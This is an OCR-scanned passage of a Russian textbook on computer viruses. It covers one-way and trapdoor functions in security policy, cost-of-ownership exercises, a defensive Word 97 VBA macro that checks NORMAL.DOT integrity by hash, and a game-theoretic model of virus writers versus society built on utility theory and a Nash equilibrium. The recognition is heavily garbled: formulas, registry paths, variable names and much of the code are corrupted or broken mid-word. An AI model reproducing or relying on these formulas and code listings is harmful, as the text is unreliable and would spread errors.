Необратимость функции Л, X - Y значает, что для любого у G X функция h, (у) легко вычислима, в то же вр< мя уравн ние X* у относительно х при известном у либо неразрешим либо его решение трудоемко Необратимость функции f X -> Y означает что для любого х X функция /,(х) егко вычи има в то же время решение уравнения Л(*) = У относительно х для любого у < Y'cY У]з> Y \У'] трудоемко иначе говоря трудоемко для большинства у 71 70
Словом «трудоемко» здесь и далее будем обозначать факт отсутст- вия известных эффективных алгоритмов решения задачи. Пользуясь введенными понятиями, докажите следующую теорему о сводимости проблемы соблюдения политики безопасности к проблеме криптоанализа. Теорема 2.1. Использование функции Exex-uteJntelligent вместо ра- нее определенной Execute в определении доступа execute (рис. 2.5) обес- печивает сведение проблемы нарушения формальной политики безопасно- сти (2.10) к проблеме решения уравнения Л,(у) = Л(х) относительно х при известном у. Каким образом можно использовать результат теоремы 2.1 в практи ке разработки защищенных вычислительных систем? 2. Важным классом функций, используемых на практике, являются так называемые необратимые функции с черным ходом. Определение 2.18. Функция f X относится к классу необ- ратимых функции с черным ходом, если 1) для любого х G X функция f (х) легко вычислима; 2) решение уравнения /(х) = у относительно х для любого у е У'с с У, |У'|з>|У \У'|, трудоемко, если не известна некоторая информация, ас социированная с функцией f; 3) решение уравнения /(х) = > относительно х для любого у е У легко осуществимо, если некоторая информация, ассоциированная с функ цией f, известна. Объясните, почему в качестве fs из предыдущего задания на прак- тике обычно используют необратимые функции с черным ходом. 3. Пользуясь субъектно-объектным формализмом и, в частности понятием объекта, ассоциированного с субъектом, исследуйте возможные атаки на механизмы защиты, основанн ое на результатах теоремы 2.1 с, - затраты на подготовку комплекта программного обеспечения для одного набора функций Л, и с2 затраты на инсталляцию программного обеспечения на один компьютер, - затраты на восстановление программного обеспечения на од- ном компьютере, ф потери от заражения1 одного компьютера, d0 - дополнительные потери от заражения всех компьютеров сети. Предположим далее, что в случае получения вирусным кодом управ- ления на некотором узле сети КВ может найти способ массовою решения уравнения Л1(у) = /, (х) относительно х при известном у (в дальнейшем для краткости способ массового решения Проблемы) в течение одного года с вероятностью р Введем определение совокупной стоимости владения информацион- ной системой (в нашем случае сетью из п компьютеров). Определение 2.19 Назовем совокупной стоимостью владения информационной системой сумму плановых затрат (на приобретение, со- держание, развитие и управление) и стоимости рисков. Используя в качестве меры совокупной стоимости владения сетью математическое ожидание случайной величины суммарных затрат, а в ка- честве меры риска - среднеквадратичное отклонение этой величины2 сравните зависимости совокупной стоимости владения и риска от величи ны возможного ущерба в предположении получения вирусным кодом управления на каждом узле сети для следующих трех случаев. I) Все компьютеры сети используют один и тот же набор функций Л и fs. Координация действий КВ возникает только в случае, если на од- ном из узлов найден способ массового решения Проблемы. Координация здесь заключается в информировании активных КВ на других узлах о най денном способе 2) То же, что и в первом случае Однако в понятие координации действий КВ дополнительно входит координация процессов в поиске спо- соба массового решения Проблемы (имеется в виду распараллеливание за- дачи поиска между узлами) 4. Предположим, что в одноранговой сети, состоящей из и компью- теров. каждый компьютер использует политику безопасности, основанную на результатах теоремы 2.1. Введем следующие обозначения 1 Под заражением здесь и далее понимается возникновение процесса размн ного КВ 1 Дубров А М . Лагоша Б А, Хрусталев Е. Ю., Барановская Т П. Р ковых ситуаций в экономике и бизнесе - М.. Финансы и статистика. 72 73
3) Все компьютеры сети используют уникальные наборы функций 1 Л, и fs то есть координация действий КВ не возможна ни в том ни в том виде Указание Задача может быть решена с использованием :истемы имитзционного моделирования экономических процессов «СИМЭК Порт- * фолио» Для первого и второго случая можно использовать модель пред- ставленную на рис. 2.13 Соответственно для третьего случая модель, представленную на рис. 2.14 В первом и третьем случаях для вероятностей соответствующих по- зициям Q2i! 1 сети Петри, используйте з ачение р - р, во втором случае значение р,- = I (| - р)*, где А коэффициент координации действий при I поиске массового способа решения проблемы Коэффициент координации I можег принимать значения от 1 (отсутствие координации) до п (полная I коорт инация, процесс распараллелен по всем п узлам, издержки на коор-1 инацию отсутствуют). Предположив, что и = 5, к - л, с, = с2 = < = 1, d, = , d0 - 2d,, срав ните зависимости меры совокупной стоимости владения и меры риска от s в дна 1азоне [1.20] 5. Исследуйте, можно ли в рамках формальных моделей безопасно- сти, описанных в приложении 3 построить политики безопасности для модели угроз представлен! ой условием (2 7). Можно ли совмести ь в рамках этих моделей требование нарушени з условия (2 7) с требованием соблюдения какого-либо режима секретности Указание. При исследовании конкретных моделей удобно исполь- зовать язык логического программирования PROLOG. 6 Пусть VB-компонента «Thr.Document» шаблона NORMAL DO Г офисного приложения Microsoft Word 97 содержит VBA-код, приведенный на листинге 2 4 Приведите примеры моде 1ей угроз, противодействием к которы является этот код Указание Исследуйте роль двух параметров системного реестр ЕпаЫeMacroVirus и EnableMacroVirusProtection, расположенных в разделах- HKEY_CURREXTT .USER\SOFTWAREXMicrosoft\Office\8 0\Word\Qptions\ HKEY_USERS\,DEFAULT\SOFraARE\Microsoft\Office\8.0\Word\Options\ 74
Рис. 2 13 75
021'1 Рис. 2.14 76
Листинг 2.4 Public VBComponentName As String ’ Ожидаемое имя VB-компоненты Sub AutoExecO Dim ProcName As String Dim rc As Integer Dim rcO AS integer, rcl As Integer, s As String ProcName - ’AutoExec" VBComponentName = "ThisDocument" rc - TestOK) If rc <> 10 Then s = VBComponentName + ': * ♦ ProcName + :‘ rcO - rc Mod 10: rcl = (rc - rcO) I 10 If rcl > 1 Then з=з+" Выявлены посторонние компоненты." End If If rcO <> 0 Then s - s + " Нарушена целостность VBA кода!" End If s = s ♦ vbCr + vbCr + VBComponentName ProcName + •: TestOl: rc =" ♦ Str(rc) + _ vbCr + vbCr + "Приложение Судет закрыто." MsgBox s, vbCritical, NormalTemplate.Name Application.Quit SaveChanges:=wdDoNotSaveChanges End If Options.VirusProtection = True WordBasic.DisableAutoMacros End Sub Функция проверки состава компонентов шаблона NORMAL.DOT и I 1 целостности VBA-кода его компоненты ThisDocument I ---------------------------------------------------------------- 1 Функция возвращает десятичное число-результат проверки: ZZYYX, I где X - результат проверки целостности VBA-кода в целевой I компоненте: I 1 0 - целостность VBA-кода не нарушена, I 1 1 - целостность VBA-кода нарушена, I 5 2 VBA-код Отсутствует; I YY - количество компонент, обнаруженных с именем целевой I 1 (если <10, то 0Y); I J ZZ - количество обнаруженных посторонних компонент. I Г ким образом, ожидаемый код возврата должен быть равным 10. I = Лтт--. rTT Ц. --------------— —— ж-w w — Ж-I-— — —-Г ж ж—жж ж =1 ж жж ж д ZI ж ж ж ж 77
Function TestOlO As Integer Dim CountGoalComponent As Integer Dim CountOtherComponent As Integer Dim x As object, nLines As Integer Dim ipTest As Integer CountGoalComponent = 0: CountOtherComponent = 0: IpTest = 2 For Each x In NormalTemplate.VBProject.VBComponents If x.Name = VBComponentName Then CountGoalComponent = CourtGoalComponent + 1 If CountGoalComponent - 1 Then nLines = x.CodeModule.CountOfLines If nLines > 0 Then If HashOl(x.CodeModule.Lines(1, nLines)) = _ GetOriginalHash _ CH:\HASH\W97\NORMAL.DOT.1.VBA.TXT') Tnen IpTest - 0 1 Целостность VBA-кода не нарушена Else IpTest - 1 " Целостность VBA-кода нарушена End If Else IpTest = 2 ’ VBA-код отсутствует End If End If Else CountOtherComponent = CountOtherComponent + 1 End If Next TestOl = 1000 * CountOtherComponent » _ 10 * CountGoalComponent + IpTest End Function Function GetOriginalHash(FileName As String) As String 1 Получить эталонное значение хеш-функции из файла FileName Dim FileNo As Integer, OriginalHash As String FileNo = FreeFile Open FileName For Input Access Read As tFileNo Input tFileNo, OriginalHash Close #FileNo GetOriginalHash = OriginalHash End Function 78
3. ЭКОНОМИКА СУЩЕС ГВОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ 3 1 Неоклассическая концепция человека в современной экономической теории Неоклассическое направление, которое часто обозначается в литера- туре как ортодоксальное или «mainstream», берет свое начало в конце XIX века1. Экономисты-неоклассики ставили своей задачей сформулировать наиболее общие закономерности развития «чистой экономики» незавг сим от общественной формы ее организации н выявить условия равновесия экономической системы. В неоклассическом подходе в центре внимания находится отдельный индивид, а точнее, некоторая абстрактная модель человеческого поведе- ния, получившая название «homo economicus» или «человек эконоииче ский>: Основными характеристиками «человека экономического» неэклас сики считают: 1) следование собственным интересам («эгоизм»); 2) наличие субъективных предпочтений (эти предпочтения непроти- воречивы и неизменны); 3) рациональность, понимаемую как максимизация полезности (это означает, что в любой ситуации выбора «человек экономический» предпо читает вариант, который в наибольшей степени отвечает его j ичным пред- почтениям); 4) ограниченность ресурсов для удовлетворения своих погребностей и как следствие, необходимость делать выбор. Таким образом, смысл поведения «экономического человека» состо- ит в том, чтобы распределить оптимальным образом ограниченные ресур- сы между некоторым набором конкурирующих целей. В резуль ате подоб- ного расширения предмета экономической науки в сферу ее внимания по- пали такие нетрадиционные ранее сюжеты, как преступность ектораль- ное поведение, образование и прочее. Одним из центральных теоретических понятии неоклассиче кого подхода является понятие полезности Оно было предложено английским правоведом и философом-моралистом Иеремией Бентамом. Согласно Бен- тамУ, руководящим психологическим принципом поведения людей являет Панорама экономической мысли конца XX столетия / Под ред Д. Гринауэя, М Едини, тюарта. Т 1 - СПб Экономическая шкота, 2002 - 668 с. 2 R ажно, так как именно компьютерная преступность является предметом нашего даль- нейшего анализа 79
1 ся их стремление избежать страдания и увеличить удовольствия или сча. I стье Экономисты интерпретируют эту мысль через понятие полезно и. определяя ее как порядок предпочтения индивидом тех или иных благ. Максимизация полезности сводится к выбору потребителем наиболее предпочтительного товарного набора из всех доступных для него. Рапио. нально действующий индивид стремится так распределить свои средства на покупку различных благ (при заданных ценах), чтобы максимизировал, ожидаемое удовлетворение (или полезность) от их потребления. При этом ’ он руководствуется своей личной системой предпочтений, то есть его по- лезность имеет сугубо личностный, субъективный характер Основы современной математической теории рационального потреб- ления (рационального поведения «человека экономического») были зало- , жены классической работой русского математика Е Е Слуцкого1. В 40-е годы XX века эта теория была пересмотрена в рамках аксиоматической I теории «выявленного предпочтения» в работах американских экономи- стов-математиков П. Самуэльсона1 2 3 и Г. Хаутеккера В итоге, современная теория рационального потребления строится на основе понятия бинарного отношения предпочтения на пространстве товаров и определенной на этом пространстве функции полезности (в современных терминах индикатора отношения предпочтения). Построение индикатора отношения предпочтения, а также привлече- ние аппарата теории игр позволяет строить экономико-математические модели самых разных сторон человеческой деятельности и осуществлять эффективный их анализ 3.2. Пространен во товаров. Отношение предпочтения. Бюджетное множество Функция полезности Одним из основных понятий экономической теории является потре- битель Термином потребитель может обозначаться как отдельное физиче- ское лицо, так и.любой участник экономики Под товаром будем понимать некоторое благо или услугу, посту- пившее в продажу в определенное время в определенном месте. Пусть су- ществует конечное число различных товаров п Обозначим через х, коли 1 Слуцкий Е Е К теории сбалансированного бюджета потребителя // Народиохозяйст венные модели Теоретические вопросы погрсбления М Изд-во АН СССР, 1663 С 241-277 (переиздание статьи 1915 г ) 2 Samuelson Р A Note on the Pure Theory of Consumer’s Behavior // Economica, new senes 1938 V 5 - № 17. - P 61-71. 3 Houthaker H Revealed Preference and Utility Function // Economica, new senes. 1950 V 17 -№56 - P 159-174 CTBO r-ro блага, приобретенного потребителем Тогда набор товаров приобретенный потребителем, характеризуется вектор-столбцом х=(л1.х2,...,х,1]Т. Будем считать, что все товары обладают свойством произвольной детимо- и то есть, может быть куплено любое неотрицательное количество каж дого из них Определение 3.1. Пространство товаров - это множество ОТ векторов пространства R" с неотрицательными компонентами: ОТ = (х-[х, х2, ,xnf: л,>0, t-1,2,.. ,л|. Def I < Из он юления множества ОТ следует, что оно выпукло и замкнуто Естественным выглядит предположение, что потребитель делает свой выбор исходя из своих вкусов и пристрастий, которые характеризу- ются отношением предпочтения. Если для данного потребителя набор товаров х предпочтительнее или безразличен набору у (слабое отношение предпочтения), то исполь- зуют запись х>у х.уеОТ. Если для данного потребителя набор товаров X предпочтительнее набора у (сильное отношение предпочтения), то используют запись Х у х уеОТ. Если для данного потребителя набор товаров х безразличен набору У то есть они обладают одинаковой степенью предпочтения то исполь- зуют запись х~у х уеОТ. В дальнейшем будем предполагать выполненными следующие ак сиомы Аксиома 3 1. Отношение слабого предпочтения обладает следую- щими тремя свойствами ' х У х, уе ОТ) [ х > у v ух ] (совершенство), 2) Vx (хе ОТ х > х (рефлексивность) 3) Vx, у, z (х, у, ze ОТ) [ х > у, у > z => х > z ] (транзитивность) 80 81
Теорема 3 1. Отношение безразличия является отношением эквива. лентности. Доказательство. Для доказательства достаточно показать что выполняются следующие три соотношения. I) Vx (хе ОТ) [х - х] (рефлексивность) 2) Vx у z(x у zeOT) х yy~z=>x~z] (транзитивность). 3) Vx у(х уеОТ)[х~у => у~х] (симметричность). Заметив, что X >у х-у <=> у>х легко построить следующие три цепочки рассуждений: х>х => х~х Теорема доказана. Таким образом, отношение безразличия подразделяет пространстве товаров ОТ на классы эквивалентности - попарно непересекающиеся под множества Зх — множества безразличия, каждое из которых состоит из тех и только из тех наборов, которые безразличны набору товаров X е ОТ - {уеОТ У~х} Введем в рассмотрение предпочтительное множество - множестве фх, состоящее из тех наборов, которые предпочтительны или безразличии набору хе ОТ Ф. * {уеОТ ухх}. „ А.»™™» - множество 51,. соспжщее „тех » боров, для которых набор хе ОТ предпочтителен или безразличен: 91х = {уеОТ:х>у Аксиома 3.2. Отношение слабого предпочтения непрерывно, то есть множества фх и 91 х являются замкнутыми подмножествами пространства ОТ для любого набора х е ОТ Из определения предпочтительного и непредпочтительиого мно- жеств сяелует, что Фх X ~ х Прежде чем продолжить формулировку аксиом, введем следующее обозначение: Х>У <=> Vi(i=l, 2,. ,и)[х,>у,] Аксиома 3.3 (ненасыщения). Для двух заданных наборов X, уе ОТ справедливы следующие соотношения: 1) х>у => х>у 2)х>ух*у=>х>-у Аксиома 3.4 (строгой выпуклости). Имеет место следующее соот- ношение: Vx у(х уеОТ xzy х>у) VZ(Ae[O;l]) Лх + (1 -Л)у > у где Лх + (!-Л)у означает набор, состоящий из Лх, +(1-Л)у( единиц 1-го товара Введем в рассмотрение вектор-строку р=[р1, Р1.РзЬ где р, - цена i -го товара Определение 3.2. Зафиксируем некоторое число Ь Множество на ров <Вр ь стоимости не более b при заданных ценах р называют бюджетным множеством'. ®р.ь = {хе ОТ рх<Ь} 82 83
Теорема 3.2. Бюджетное множество *Вр ь выпукло, ограничено и замкнуто Доказател ьство. Выпуклость. Пусть х, уе*Вр л, Ле [0 1] Поскольку px<fe и py<fe, то Лрх+(1 -Л)ру<Ь. Тогда р(Лх + (1-Л)у)</>, поэтому Лх+(1 -Л)у 6 ®р.л • что означает выпуклость множества *Вр h. Ограниченность. Обозначим через ра = min р,. Если хе*Вп ,,, 1'1.2 .. ,п и то Xfi (i -1, 2,..., п) [ л, <Ь/р0 ], что означает ограниченность множества Замкнутость. Пусть последовагел >ность х^ элементов множества ®рj, стремится к элементу х^°\ Тогда и последовательность рх^ стре- миться к рх В силу неравенств рх <Ь, справедливых при всех к имеем px(°)<fe, тогда и X^eSBp ,,, что означает замкнутость множества ®р./> Таким образом, теорема доказана Определение 3.3. Под функцией полезности будем понимать функцию и ОТ —э R, удовлетворяющую следующим условиям: 1) Vx,y(x,yeOT)| м(х)>и(у) <=> х>у 2) Vx,y(x, уе ОТ) [м(х)>и(у) <=> х>у] 3) Vx,y(x, уе ОТ) [ц(х) = и(у) « х~у В конце 50-х годов XX века была опубликована монография* фран ко-американского^экономиста-математика Жерара Дебре, в которой была доказана следующая теорема. Теорема 33. Если множество ОТ связно, а отношение предпочтения непрерывно, то существует непрерывная функция полезности Из определения функции полезности видно, что она принимает по- стоянные значения на каждом классе эквивалентности, поэтому ее можно представлять себе как функцию, «пересчитывающую» классы эквивалент ности в сторону все большей предпочтительности Debr:u G Theory of value: an axiomatic analysis of economic equilibrium. Cowles Fouri dation for Research in Economics at Yale University. Monograph 17 New York Wiley. 1959 - 114 p Заметим, что функция полезности и(х) определяется неоднозначно Если f(u) - возрастающая функция, то функция /(w(x также является функцией полезности Главное требование, предъявляемое к функции по- езности потребителя, заключается в том, что она должна отражать систе- му его предпочтений. Основные свойства функции полезности определяются ее подчинен- ности системе аксиом 3.1 ... 3.4. Последовательно рассмотрим эти свойст- ва. 1) Если и(х) непрерывно дифференцируемая функция, то из аксио- мы ненасышения следует положительность ее первых частных производ- ных “—->0, 1=1,2,...,л, то есть в любой точке пространства товаров возрастание потребления лю- бого товара при постоянном потреблении остальных товаров приводит к увеличению полезности „ , , , Эн Э Вектор grad н(х) = —-, где — Эх Эх д д в теории полез- Э Эх, Эх2 Эх, ности называют вектором предельных полезностей, а частную производ- Эн ную —---соответственно предельной полезностью i -го товара. Эх, 2) Небольшое увеличение потребления i -го товара при его первона- чальном отсутствии резко увеличиваег его полезность, то есть Эн lim —=оо. х,-»о Эх, 3) При очень большом объеме потребления i -го товара дальнейшее увеличение его потребления не приводит к увеличению полезности, то есть lim -^- = 0. х,-»~ Эх, 4) Если и(х) дважды непрерывно дифференцируемая функция, то из аксиомы строгой выпуклости следуег что матрица вторых производных Функции полезности (матрица Гессе) 85 84
и = д Y а — —и Эх Эх д2и д2и д2и Эх2 Эх(Эх2 Эх|Эх„ д2и Э2и Э2д Эх2г)х[ Эх22 Эх2Эх„ д2и д2и Э2« дх„дх{ Эх„Эх2 Эл2 должна быть отрицательно определена В частности, имеет место закон Госсена предельная полезность лю- бого товара уменьшается по мерс того, как продукт потребляется, то еез ь ^4<0 1 = 1,2 ,л. Эх,2 3.3. Феномен компьютерных вирусов: модель противостояния в обществе Будем рассматривать несколько упрощенную ситуацию противо- стояния двух сторон: разработчика КВ (вирмэйкера) и остальной част общества (в дальнейшем просто общества) Справедливы следующие два предположения I) вирмэйкер способен оценить уровень технологий отрасли (в том числе технологий антивирусной защиты) с тем, чтобы выбрать наилучшую стратегию удовлетворения своей (прямой или косвенной) потребности к разработке КВ 2) общество также способно в некоторой степени прогнозировать способности ,и активность вирмэйкера и, таким образом, вырабатывать свою оптимальную стратегию защиты от продуктов деятельности вирмэй кера. Описанная ситуация хорошо известна в теории игр под названием концепции равновесия по Нэшу2. Рассмотрим ситуацию формально. Пусть Z] - затраты вирмэйкера на разработку КВ, Z2 затраты об щества иа защиту от КВ, f(zt, z?) - функция описывающая зависимость 1 2 1 Герман Генрих Госсен немецкий экономист XIX века, предшественник математиче ской и австрийской школ политэкономии 2 Бородин Л. В, Уразаева Т А Элементы теории игр - Йошкар-Ола МарГТУ. 2001 156 с 86 „ k'R ОТ затрат противоборствующих сторон Пол активною SZ.XT-.-p. да Булем прмполагать, что фунтам /(т,.т2) при г,*0 и г2>0 « « иена, непрерывна и дважды дифференцируема Рассмотрим осиные свойства этой функции. 1 Активность КВ не может быть отрицательной величиной, несть функция ак1ивности неотрицательна 2) В случае отсутствия усилий вирмэйкера (инвестиций в разр КВ) активность КВ отс}тствует: /(0,z2) = 0 3) С увеличением объемов инвестиции вирмэйкера в разраб КВ их активность возрастает. ^->0. dZi 4) Прирост активности КВ с ростом объемов инвестиций в и'}азра- ботку снижается: Эг, 5) При очень большом объеме инвестиций вирмэйкера в разр®°тку КВ его прирост не приводит к увеличению активности: lim -^- = 0. г,-»~ dZ] Действительно, поскольку количество компьютеров в обществе к 1 “чно, то в предположении отсутствия ресурсных ограничений для вирм^кеРа с ростом объемов его вложений рано или поздно должно наступитьюстоя- ние насыщения 6) С ростом объема инвестиции общества в развитие антив>сусных технологий активность КВ снижается' ^-<0 Эг2 7 Снижение активности КВ с ростом объемов инвестиций сйДества в антивирусные технологии замедляется: 87
^>о. dz2 8) При очень большом объеме инвестиций общества в разработку ан- тивирусных технологий активность КВ начинает приближаться к нулю f(zl,z2) = O. Z2 В качестве примера на рис. 3.1 приведено графическое представле- ние некоторой функции удовлетворяющей всем перечисленным выше свойствам. Пусть далее, а - коэффициент агрессивности вирмэйкера (а>0) соответственно af^. z2) - ФУ-кния полезности вложении в создание КВ для вирмэйкера в стоимостном выражении. Продолжая, пусть. р коэф- фициент чувствительности общества к вирусной активности (/? >0), соот ветственно -/3/(zP Z2) - ущерб, причиненный обществу в связи с актив- ностью КВ и представленный также в стоимостном выражении (функция полезности вложений в развитие антивирусных технологий для общества) Таким образом, здесь мы имеем дело с игрой двух лнц в нормальной форме: G = (z,>0,z2>0; иьи2). где wl(zl,z2)=a/(zI,z2)-Zf функция выигрыша вирмэйкера, k2(Z|, z2) = -z2-/3/(zl,Z2) -функция выигрыша общества. Проведем анализ этой hi ры на предмет существования в ней равно весия по Нэшу. Очевидно, что множества стратегий игроков являются выпуклыми и компактными подмножествами RJ множества действительных чисел R, а функции Н| и и2 непрерывны на RqXR0 ввиду непрерывности функции f Далее, легко проверить, что для всех Zj e R функция u( (zP z2) вогну та по г, на Rg, где i, j = 1,2 и j * j . Действительно, очевидно, что Э2п, 3z|2 3z2 йг22 *z} Таким образом, в соответствии с теоремой Нэша1 множество A'£(G) рав- ве ий по Нэшу игры G непусто и компактно Подготовку к вычислению NE(G) начнем с построения графика отображения наилучших ответов вирмэйкера BRl: (zi‘,z2)e ДА, <=> “i(z’,z2) = supM|(z|,z2). Def ' 7 M ен Э Теория игр с примерами из математической экономики М Мир 1985 88 89
Для этого найдем решение уравнения d“l(Zl.Z2) =() dZ| •'l = Z| т Э"| а/ , Так как ——-а--------ь то это уравнение можно переписать в следующем oZ] dZj виде: a/(z,.z2) (3.11 а Поскольку функция (zj. z2) вогнута но z,. го для гсх значений z2^0. для которых решение уравнения (3.1) ;[>0, точки (zf,z2) будут состав лять ВЯ, Для тех значений z2SO для которых решение уравнения (3.1) либо не определено, либо отрицательно, в состав BRf будут входить точки (О, z2), так как, с одной стороны. u((0, Z2) = «/(0. z2)-0 = 0. а с другой. lim U|(Z|, z2) = lim (a/(z|, z2)-Z1)-a lim f(zj,z2) - lim z, = Z| —>oo q —>oo Z| ->eo Z, -»oo =aC - lim z, Zj-»“ Итак, a/(z,.z2) 9z =1. -зг;(г;>о) Теперь построим график отображения наилучших ответов общества (второго игрока) BR2 (zvzAeBR2 м2 zl,z2) = snpw2(zI,z2) ' Л/ ' ' г2М чо
Зм2 . „ 3/ Поскольку -— = -1 - р -—, 0^2 vZ2 то уравнение dw2(zPz2) можно переписать следующим образом Так как функция и2(г|,г2) вогнута по г2, то для тех значений zt >0, для которых решение уравнения (3.2) z2SO, точки (zpZ2) будут составлять ВК2 Для rex значении г, >0, для которых решение уравнения (3.2) либо не определено, либо отрицательно, в состав RR2 будут входить точки (ipO), так как lim w2(zpZ2)= hm (~z2 - j3/(zp z2)) = - lim z2 - Д lim /(zpz2) = *2~Z2~>o° Zj —>°° Z2~ = -~</(zpO) Таким образом, BR2- d/(ZpZ2) Эг2 ,= iz^° г2=г2 -3z2(Z2^0) Теперь, используя полученные трафики, можно вычислить множест во равновесий по Нэшу в анализируемой игре: WE(G)=B«InSR2. Пусть, для определенности, функция, описывающая активносп КВ, имеет следующий вид /(zpZ2) = (l-e’c'z')e_^, С,>0. С2>0. (3.3) 91
Легко проверить, что данная функция обладает всеми ранее перечи ленными свойствами Рассмотрим возможную экономическую интерпретацию коэффицц. ентов С| и С2. Коэффициент С, отражает легкость реализации идеи КВ чем бог ше значение этого коэффициента, тем меньше усилий необходимо затра тить вирмэйкеру для обеспечения заданного уровня активности КВ при прочих равных условиях В качестве фактора, увеличивающего этот коэф- фициент, можно указать уровень знаний вирм шксра в области технологий отрасли, а в качестве фактора, снижающего этот коэффициент, - наличие и распространенность архитектурных решений обеспечения безопасност! Коэффициент С2 отражает эффективность мероприятий по обеспе- чению безопасности: чем больше значение этого коэффициента тем меньше затрат необходимо понести обществу для обеспечения заданного уровня активности КВ при прочих равных условиях Проведем анализ игры для данного частного случая в котором функция f определена соотношением (3 3) Решим уравнение (3 1) для функции (3.3) Соответствующая подстановка приводит к следующему ре- зультату: С @ (с1г1'+с2г2) =1 а После тривиальных преобразований получаем , 1 . 1 z2 =-----ш------7-------—г - С2 дс2(1 е’^) Соответственно BR2 будет определяться следующим уравнением: Z- - max О ±1 1 С2ПДС2(1 е C|Z|| Для функции (3 3) множество NE(G) будет содержать одну точку Z »("J, z2 )• которая определяется следующей системой уравнении z, = тах С, Z2 = max -ln-^-C2z2 Графическая иллюстрация складывающейся ситуации в анализируемой иг- ре для функции (3.3) приведена на рис. 3 2. На рисунке тонкими черными линиями изображены кривые равной полезности для обоих участников иг Соответственно BR} будет определяться следующим уравнением z, = тах Решая уравнение (3-2) для функции (3.3), можно записать -С2(1-е_с,г|)е-С2^ = После преобразований получаем ры, стрелками показано направле- ние роста полезности для каждого из участников; утолщенными се- рыми линиями изображены графи ки отображения наилучших отве- яв вирмэйкера и общества; точка равновесия по Нэшу Z обозначена окружностью небольшого диамет- Ра и геометрически представляет Из себя точку пересечения графи- ков отображения наилучших отве- тов обоих сторон - BR\ и BR2 Качественно ситуация с рав иовесием по Нэшу в анализируе м°й игре может сложиться одним Рис 3.2 93 ч 92
из следующих трех вариантов (см. рис. 3.3) '>ги три ситуации определя- ются двумя возможными вариантами геометрии RRl и одним вариантом ВЛ2. Для графика RR2 мы рассматриваем один вариант, так как, либо SB2={(zi.O): Z|^0}, либо zf >0. Последнее обстоятельство связано с тем, что уравнение z2i ♦ =0 2|Z|=*1 при некоторых значениях параметров fi и С2 может иметь решение Очевидно, что на практике реализуется вариант а, рис. 3.3, то есть вир.мэйкеры создают КВ, а общество прилагает определенные усилия для защиты от КВ. Данное обстоятельство и зависимость положения точки равновесия по I Ьшу на плоскости исходов исследуемой игры от парамет ров модели (см рис. 3.4) позволяют сделать следующие выводы. 1) Наблюдаемая активность вирм тикеров и разработчиков антиви русного аппаратного, программного и методического обеспечений обу словлена определенным сочетанием степени агрессивности сообщества вирм тикеров и степени чувствительности общества к всевозможным про- явлениям КВ: вирмэнкеры достаточно агрессивны (сравните график б и особенно в с графиком а на рис. 3.4), а общество экономически весьма чувствительно к вирусной активности (трафики Дне против графика Г на том же рисунке). 2) Легкость реализации идеи КВ в среднем в отрасли такова, что за траты общества на борьбу с КВ оказываются экономически обусловлен- ными (сравните трафики 3 и и с графиком Ж на рис. 3.4). 3) Рост эффект ивности антивирусных мероприятий в некоторых слу- чаях способен приводить к увеличению затрат общества на защиту от КВ (сравните трафики к и Л на рис. 3.4). 4) В других условиях рост эффективности антивирусных мероприя- тий обеспечивает снижение затрат общества на защиту ог КВ (графики л и М на рис. 3 4). Если первые два вывода можно отнести к разряду фундаментальных, го последние два выглядят несколько странно и требуют дополнительных комментариев 44
Рис. и 95
а <а* <оГ р = const, С, = const, С2 = const а = const, р' < Р* < Р", С| = const, С2 = const а = const, Р - const. Ct = const, С2 < С2 < С2 Рис 3.4 96
Исследуем более детально зависимости различных параметров моде- ш от величины эффективности антивирусных мероприятий. В частности, заметим, что VC2(C2>0)Vz;,z; то есть с ростом эффективности антивирусных мероприятий функция вы- игрыша общества монотонно возрастает (см. рис. 3.5). Это фактически означает, что при низкой эффективности защитных мероприятий велика доля потерь общества от активное ги КВ и с ростом эффективности эта до- ля уменьшается быстрее, чем суммарные расходы общества (функция вы игрыша общества). При некотором значении эффективности антивирусных мероприятий эти скорости сравниваются Обозначим это значение эффек- тивности через С2 Геометрически С2 - это такое значение эффективно- сти, для которою касател и е к графикам потерь общества от активности КВ и суммарных затрат имеют один и тот же наклон к оси абсцисс (см также, рис. 3.5) Очевидно также, что при значении эффективности анти вирусных технологий, равном С2 , для точки равновесия по Нэшу достига ется максимум затрат общества на развитие этих технологий: С2 = argmax <<2 (z^Cj, z2(C2)) (q.^)eWE(G). С2>0 и, таким образом, именно к такому значению эффективности выгодно стремиться всем производителям антивирусных продуктов (это будет наш третий фундаментальный вывод) 97
Рис. 3.5 98
Контрольные вопросы I) Перечислите основные характеристики модели поведения чело- века в неоклассической экономической теории. 2) Каковы причины выбора неоклассической концепции человека в качестве основы для изучения проблемы существования КВ9 3) Каковы основы современной математической теории рациональ- ного потребления? 4) Что такое индикатор отношения9 Как называется индикатор от- ношения предпочтения в математической теории рационального потребле- ния П. Самуэльсона и Г Хаутеккера9 5) Сколько может существовать различных индикаторов для неко- торой данной системы предпочтении? Приведите пример 6) Охарактеризуйте аксиоматическую базу математической теории рационального потребления 11 Самуэльсона и Г Хаутеккера 7) Что понимается под товаром и товарным набором в математиче- ской теории рационального потребления П. Самуэльсона и Г. Хаутеккера? Что такое пространство товаров? 8) Что такое множество безразличия, предпочтительное и непред почтительное множества? Как эти три множества связаны между собой? 9) Что такое бюджетное множество? Перечислите свойства бюл жетного множества 10) Приведите определение функции полезности. 11) При каких условиях существует непрерывная функция полезно- сти? 12) Перечислите основные свойства функции полезности в теории П. Самуэльсона и Г. Хаутеккера. 13) Сформулируйте предположения, обосновывающие использова- ние концепции равновесия по Нэшу при анализе модели противостояния в обществе (вирмейкеров и остальной части общества). 14) Перечислите свойства функции, описывающей зависимость ак тивности КВ от затрат противоборствующих сторон. 15) Что такое график отображения наилучших ответов игрока в игре в нормальной форме? 16) Как множество равновесий по Нэшу связано с графиками ото- бражения наилучших ответов всех игроков9 17) Сформулируйте три основных вывода, полученных при анализе модели противостояния в обществе в разделе 3.3. 18) Каковы возможные пути дальнейшего уточнения модели проти- востояния в обществе, рассмотренной в разделе 3.3? 99
